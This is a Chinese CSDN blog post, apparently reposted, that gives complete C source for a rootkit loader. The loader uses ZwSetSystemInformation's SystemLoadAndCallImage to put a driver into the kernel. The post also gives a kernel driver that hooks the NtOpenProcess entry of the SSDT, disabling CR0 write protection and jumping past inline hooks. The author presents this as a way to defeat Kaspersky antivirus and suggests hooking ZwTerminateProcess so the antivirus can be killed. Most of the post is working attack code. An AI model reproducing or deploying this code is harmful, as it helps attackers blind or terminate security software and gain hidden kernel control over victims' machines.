ZwSetSystemInformation的使用

// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 

// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/

/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation设置影响操作系统的信息,定义如下:
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
     IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
     IN OUT PVOID SystemInformation,
     IN ULONG SystemInformationLength);
 
参数:
     SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是
 
SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
     UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
 
     SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
 
成员:
     Module:要加载模块的NATIVE NT格式的完整路径
 
备注:
     这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
 
SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
SystemInformationClass来设置它
*/
 
//*-----一些數據類型的定義開始--------------
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
 
typedef struct _UNICODE_STRING
{
     USHORT Length;
     USHORT MaximumLength;
     PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
 
typedef VOID (__stdcall *RTLINITUNICODESTRING)(
     IN OUT PUNICODE_STRING DestinationString,
     IN PCWSTR SourceString
);
 
typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
     IN DWORD SystemInformationClass,
     IN OUT PVOID SystemInformation,
     IN ULONG SystemInformationLength
);
 
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
     UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
 
#define SystemLoadAndCallImage 38
//*-----數據類型的定義結束--------------
 
void main(void)
{
     SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
     RTLINITUNICODESTRING RtlInitUnicodeString;
     ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
 
     if( !(RtlInitUnicodeString =
         (RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),
         "RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址
         exit(1);
 
     if( !(ZwSetSystemInformation =
         (ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),
         "ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址
         exit(1);
 
     RtlInitUnicodeString( &(GregsImage.ModuleName),
         L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了
 
     if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,
         &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间
         printf("Rootkit Loaded./n");
     else printf("Rootkit not loaded./n");
}
驅動源碼是來自CSDN上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook的(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.
 
#include<ntddk.h>
 
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
     PVOID ServiceTableBase;
     PULONG ServiceCounterTableBase;
     ULONG NumberOfService;
     ULONG ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE    KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数
 
//---------------------------------------------------------------------
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(
     PHANDLE ProcessHandle,
     ACCESS_MASK DesiredAccess,
     POBJECT_ATTRIBUTES ObjectAttributes,
     PCLIENT_ID ClientId)
{
     DbgPrint("NtOpenProcess() called");
     __asm
     {
         push    0C4h
         push    804eb560h //共十个字节
         jmp    [JmpAddress]  
     }
}
//---------------------------------------------------------------------
VOID Hook()
{
     ULONG Address;
     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
     DbgPrint("Address:0x%08X",Address);
 
     OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
     DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);
 
     DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);
 
     JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了
     DbgPrint("JmpAddress:0x%08X",JmpAddress);
 
     __asm
     {//去掉内存保护
         cli
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     }
 
     *((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT
 
     __asm
     {//恢复内存保护
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
         sti
     }
}
 
VOID Unhook()
{
     ULONG Address;
     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT
 
     __asm
     {
         cli
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     }
 
     *((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT
 
     __asm
     {
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
         sti
     }
}
//---------------------------------------------------------------------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
     Unhook();
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
     DriverObject->DriverUnload = OnUnload;
     Hook();
     return STATUS_SUCCESS;
}
好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess咧,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7嘛,沒那麽容易結束的,哈哈).

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/iiprogram/archive/2008/04/02/2245932.aspx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值